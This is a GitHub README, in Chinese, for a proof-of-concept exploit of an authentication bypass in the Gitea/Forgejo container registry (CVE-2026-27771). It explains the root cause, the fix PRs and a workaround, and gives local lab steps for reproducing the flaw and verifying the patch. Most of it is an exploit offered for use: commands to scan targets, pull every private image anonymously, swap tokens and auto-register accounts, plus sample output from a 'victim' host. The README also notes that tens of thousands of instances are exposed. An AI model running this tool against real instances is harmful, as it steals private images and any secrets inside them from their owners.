portbuster1337/CVE-2026-27771
GitHub: portbuster1337/CVE-2026-27771
针对 Gitea/Forgejo 容器镜像仓库认证绕过漏洞(CVE-2026-27771)的 PoC 工具,可在无凭据情况下拉取私有镜像。
Stars: 18 | Forks: 6
# CVE-2026-27771 — Gitea Container Registry Auth Bypass
**CVSS:** N/A(未公开)
**影响范围:** Gitea < 1.26.2(所有包含 OCI container registry 的版本)
**同时影响:** Forgejo(由 NoScope 确认)
**发现者:** [NoScope](https://www.noscope.com/blog/gitea-instances-exposing-private-container)
**修复版本:** Gitea [v1.26.2](https://blog.gitea.com/release-of-1.26.2/)(2026年5月20日)
## 摘要
未经身份验证的远程攻击者可以从 Gitea 实例中拉取**私有** container image。OCI Distribution Spec API endpoint(`/v2//manifests/[`、`/v2//blobs/`)会向 ghost/匿名用户(`UserID: -1`)提供内容,而无需检查 container package 所有者的可见性(私有/受限/公开)。
NoScope 在 30 多个国家/地区发现了约 31,750+ 个暴露在互联网上的实例。该缺陷约 4 年未被发现。
## 根本原因
该漏洞存在于 `ReqContainerAccess` 中间件(`routers/api/packages/container/container.go`)中:
```
// v1.25.4 — vulnerable
func ReqContainerAccess(ctx *context.Context) {
if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
apiUnauthorizedError(ctx)
}
}
```
它仅检查:
1. `ctx.Doer` 是否为 nil?(没有任何 token 的未验证请求)
2. 是否启用了 `RequireSignInViewStrict` **且**该用户是 ghost?
它**不**检查 package 所有者的可见性设置(`VisibleTypePublic`、`VisibleTypeLimited`、`VisibleTypePrivate`)。具有空 scope 的 ghost 用户(`UserID: -1`)会直接通过,并且可以访问任何 container package。
当 `RequireSignInViewStrict` 为 `false` 时,`/v2/token` endpoint(`Authenticate` 函数)会在没有凭证的情况下授予匿名 token。
### 修复(PR #37290 + PR #37610)
两项修复已在 1.26.2 中落地:
1. **PR #37290** — `apiUnauthorizedError` 中的条件 `Basic realm` header — 停止在公开实例上发送 `Basic realm` 以避免混淆 Docker 客户端,并在 auth challenge 中进行针对所有者的可见性检查。
2. **PR #37610** — Package 可见性标签 + Composer 源权限检查 — 为 package 添加了底层的权限模型。如果没有这些标签,在权限检查路径中就无法区分私有/内部/公开的 package。
### 临时解决方法
```
[service]
REQUIRE_SIGNIN_VIEW = true
```
这会阻止**所有**匿名访问(包括公开 repo),从而关闭了该漏洞利用路径。然而,底层的权限模型仍然存在问题——任何通过身份验证的用户仍然可以访问所有 package。**请升级至 1.26.2+ 以获取真正的修复。**
## 漏洞利用 PoC
### 前置条件
- Python 3.8+
- 目标 Gitea 实例 < 1.26.2,且启用了 OCI container registry (v1.17.0+)
### 用法
```
python3 CVE-2026-27771-exploit.py scan # Discover repos/tags
python3 CVE-2026-27771-exploit.py scan --token --username
python3 CVE-2026-27771-exploit.py pull # Pull all images
python3 CVE-2026-27771-exploit.py pull --repo owner/image # Pull specific repo
python3 CVE-2026-27771-exploit.py pull --dry-run # Show what would be pulled
python3 CVE-2026-27771-exploit.py pull --token --username
python3 CVE-2026-27771-exploit.py register --username u --password p --email e@x.com
```
### 示例
```
# 扫描易受攻击的实例
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com
# 拉取所有私有 container images(匿名)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com
# 使用 personal access token 拉取(适用于 REQUIRE_SIGNIN_VIEW 实例)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
--token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser
# 在没有 captcha 的实例上自动注册
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
--username myuser --password mypass --email me@x.com
```
### 漏洞利用原理
1. **预检**:检查版本、`/v2/` endpoint,检测注册可用性,获取匿名 token 或将 PAT 交换为 JWT
2. **枚举**:通过 `/v2/_catalog` 列出所有 container repository(由于可见性检查失效,会返回所有 repo —— 包括公开和私有)
3. **拉取**:对于每个 repo,列出 tag,获取 OCI manifest,解析多架构镜像,下载所有 blob 层
4. **提取**:自动将 gzip 压缩的 tar 层提取到 `pulled_/extracted/` 中
### Token 处理
- **匿名**:如果 `REQUIRE_SIGNIN_VIEW=false`,则获取一个没有凭证的 ghost token
- **PAT (SHA1)**:如果 `--token` 是一个 40 字符的十六进制字符串,则通过 `Basic auth` 自动将其交换为 OCI JWT
- **JWT**:如果 `--token` 包含点号,则直接将其作为 Bearer token 使用
### 示例输出
```
[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)
[*] Container repositories: 3
acme/production-app: tags=['latest', 'v2.1.0']
acme/internal-db: tags=['latest', 'v1.3.0']
team-xyz/secret-ml-model: tags=['v0.9.2']
[acme/production-app]
Tags: ['latest']
└─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
[1/12] sha256_a1b2c3... (28.4 MB)
...
manifests saved
extracted 39862 files to pulled_acme_production-app/extracted
```
## 复现
### 搭建测试环境
```
# 1. 使用 Docker 部署 Gitea 1.25.x(易受攻击版本)
docker run -d --name gitea-vuln -p 3000:3000 \
-e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
gitea/gitea:1.25.4
# 2. 创建用户并推送私有 Docker image
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest
# 3. 运行 exploit(无需凭据)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000
# 该 exploit 将找到 testuser/secret-app 并下载所有 layer。
# 文件将位于 pulled_testuser_secret-app/extracted/ 中
```
### 验证修复
```
# 升级到已修补版本
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
gitea/gitea:1.26.2
# 应拒绝匿名 token (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# 预期:"Version >= 1.26.2 (patched)"
```
## 参考
- https://noscope.com/blog/gitea-instances-exposing-private-container
- https://blog.gitea.com/release-of-1.26.2/
- https://github.com/go-gitea/gitea/pull/37290
- https://github.com/go-gitea/gitea/pull/37610
- https://github.com/go-gitea/gitea/security/advisories]
标签:DevSecOps, Gitea, PoC, StruQ, Web截图, 上游代理, 容器安全, 暴力破解, 请求拦截, 身份验证绕过, 逆向工具